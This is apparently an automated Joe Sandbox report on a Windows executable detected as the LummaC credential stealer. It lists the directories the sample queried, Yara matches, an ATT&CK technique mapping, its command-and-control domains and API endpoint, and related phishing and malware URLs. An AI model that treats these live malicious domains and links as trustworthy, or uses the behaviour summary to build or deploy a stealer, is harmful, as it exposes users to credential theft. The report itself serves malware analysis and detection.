Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Heur.11787.148.exe PID: 7328, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.11787.148.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
shootyprovedn.biz	172.67.194.239	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
wrigglesight.sbs	true	unknown
heroicmint.sbs	true	unknown
monstourtu.sbs	true	unknown
snailyeductyi.sbs	true	unknown
ferrycheatyk.sbs	true	unknown
deepymouthi.sbs	true	unknown
captaitwik.sbs	true	unknown
shootyprovedn.biz	true	unknown
sidercotay.sbs	true	unknown
https://shootyprovedn.biz/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033643289.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020457154.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005316291.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034478410.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1908112786.0000000000868000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033518619.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1939042700.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1981697911.000000000085F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1985350850.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997989046.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.softwareok.com/?Freeware/Find.Same.Images.OK/History	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
http://www.surfok.de/%3D%3F	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://shootyprovedn.biz/api0-R	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034638879.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020840297.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005356289.0000000000890000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033738183.0000000000890000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.softwareok.com/?Freeware/Find.Same.Images.OK	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shootyprovedn.biz/apiF5V	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1998192388.0000000000889000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924062377.00000000035AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shootyprovedn.biz:443/api	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033702755.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033518619.000000000081A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://shootyprovedn.biz/apiY	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034605895.000000000088A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033749788.0000000000889000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/access-ma	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.softwareok.de/?Freeware/Find.Same.Images.OK	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
http://x1.c.lencr.org/0	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.0000000003580000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.softwareok.de	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.softwareok.de/?Freeware/Find.Same.Images.OK/History	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
http://www.softwareok.com/?Download=Find.Same.Images.OK	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://support.mozilla.org/products/firefoxgro.all	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shootyprovedn.biz/	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997989046.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.softwareok.de/?Download=Find.Same.Images.OK	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://shootyprovedn.biz/api62	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1938968547.000000000355E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924062377.00000000035AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.???.xx/?search=%s	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://www.ecosia.org/newtab/	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907740482.000000000086B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shootyprovedn.biz/H	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020457154.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020475367.000000000086B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005316291.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997989046.0000000000860000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.microsof	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924062377.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1957633276.0000000003581000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://shootyprovedn.biz/8	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1939042700.000000000085D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.0000000003580000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.surfok.de/	SecuriteInfo.com.Heur.11787.148.exe	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.softwareok.com	SecuriteInfo.com.Heur.11787.148.exe	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.194.239	shootyprovedn.biz	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541317
Start date and time:	2024-10-24 17:29:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Heur.11787.148.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SecuriteInfo.com.Heur.11787.148.exe, PID 7328 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.Heur.11787.148.exe

Simulations

Behavior and APIs

Time	Type	Description
11:30:26	API Interceptor	7x Sleep call for process: SecuriteInfo.com.Heur.11787.148.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.103.112
	https://www.cognitoforms.com/f/dPw6PjKRNEiTBIouwlWxQQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.24.14
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	188.114.96.3
	https://nt3e.com/_1.html?%20send_id=eh&tvi2_RxT=www.networksolutionsemail.com/ntpdkptJegwgUbePDCPPdVkFuvAlhtlBYyzZldVkFuvAlhtlBYyzZlPwcjpjmntpdkptJegwgUbePDCPPdVkFuvAlhtlBYyzZlntpdkptJegwgUbePDCPPdVkFuvAlhtlBYyzZl&e=cnlhbl9ob3dhcmRAb3V0bG9vay5jb20=	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	http://url960.aceeduconsult.com/ls/click?upn=u001.LUpianUM71xe7PV7wDA6i1kcuy38W249FfPzE-2Fn4iGArrL0MQBCUZHFEzmfBrwW7hf5h8aNQUml0OSIHqpXf0LMpnaTL-2BzYU1WV-2BSTu4-2FYE-3DnWBx_C2kZwAnfGwUSqF5D87NbxLVpuF-2FUu77KiRgkAhE5NE4LxNdD8Vk-2BBXjUuKxXLIa0fIDZmJqQTdTMUWaKg74qY7H1042trEdUOL1Ty-2B4ikz6aamPgX0YPKifSgbmdnoJ9QNdI7-2Fj5HU9YtlUVfM2hhaIRlcN5LDyRrfABDYCmE6HCezIFJke-2Bw8MgqKR8oZe3x0bNQ5ip4gqKVt9OZvtTXtI2W19VoVZDzbdeDK4WD-2F3HaEv25gNxrltbLRhf8V-2BO7eWR3mjaJT30K-2BcVCwIlJZO7lziFom1TeAFneOePh2rvH67eyoHyRuDs7uhJ58UvSbL-2F5WGOZFqHf1Uoqm5u1BuusL-2F4yIoUS3Zge-2Bhwb2SPTTZrQp-2B3YQW62QJEBscu8XAGBtmCTNO-2FGrj9S-2BwtsmLluvkoUx0cXtIZxgyjwWcDifMxEpsoupBhIu0vHgSwbA5Jlj-2FdPy-2B0yhvKMBxhOgsBuXNzAVSfF8HuZvD5iWXinRKWqhNg1QpvfMK5Why8PnI5FwIsgrY7RxMkEbcDdf0VL1a7dM3RDh9LkpekDjtHu-2F4c-2FsI73UIfVUG4-2BbcH5VEOHzkCenTbIl-2BeYnL2jw9k-2Bt-2BAEZMQZavCq5q7Io2kchrzK3tu9Vj43TTv0K790k8tA4okR0vSuH0WvhSIZBs2e3uKgx9FK2SAr5JJzheB6cW2OXdbGgfDGPwGYkvJqNCBixLi9dWacb8fBed5RjA3p1JUsS79RbxF-2FaSjDqEr3OTeFx3WgBthSzcSYPpiE9ha00gB-2FAVdpFU8eOGGhrdGc6OgU4OZhDsRkN5FNMpRj3pgHOHQ6dkJW4RJx1-2B1Om8bljV3ruWQytV5mwg68-2FvnkkpkZM63omm27kalKxw-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://egift.activationshub.com/gift-card/view/8lPFUrjq1LGzg7JHwS8hJJRdL/	Get hash	malicious	HTMLPhisher	Browse	104.26.0.222
	https://lnk.ie/73BGS/e=?utm_campaign=&utm_medium=email&utm_source=eloqua&utm_content=EMS&elqTrackId=b3e6296b7e034428ab6cf8165586e5f3&elq=f15d0983a3e2469a9348a180a5d34fca&elqaid=2922&elqat=1&elqCampaignId=1792&elqak=8AF50EC23DDB3CA8DB8B1F52080496E6D8BDFEE307A00555CA936F9692C081A369A3	Get hash	malicious	Unknown	Browse	104.18.95.41
	Payment for outstanding statements.pdf	Get hash	malicious	HTMLPhisher	Browse	172.64.151.101

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.194.239
	file.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	file.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	StudioDemo.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	5Setup.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	file.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	172.67.194.239
	file.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	file.exe	Get hash	malicious	LummaC	Browse	172.67.194.239
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	172.67.194.239

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.132759484376744
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Heur.11787.148.exe
File size:	2'312'456 bytes
MD5:	eb0e17182b031cd14ff822f09b318895
SHA1:	ac93f8feb79b0232f3be83d0f42dd5899fbbbe2e
SHA256:	5d139999a54cd6290dd6a6bf9a2ed9cd96d10a0e1c308bc441440fb25feae4dd
SHA512:	c72d389013d534d4c8b4aee31f4566858abfd3487c45b3e73b8b57b15a86a048e4ecb65f395fc570963c23432961c9963f02f263fe9de0189058a075aac40ba3
SSDEEP:	24576:M4q/8ymFiE7Fn0NDAGdEBmZpOY6MJds/4Yn5AqO93X0zAqdd8gNALgpIDzI166Qv:xpM8VAAdd8gNK6LU
TLSH:	C3B58E96D7D912E5FE9DA93082AB6B36E7313F151900A7B3C314FFA658712019C2C26F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................v...............{..........._...v.......{...................e...?.......Rich............PE..L......g...........

File Icon


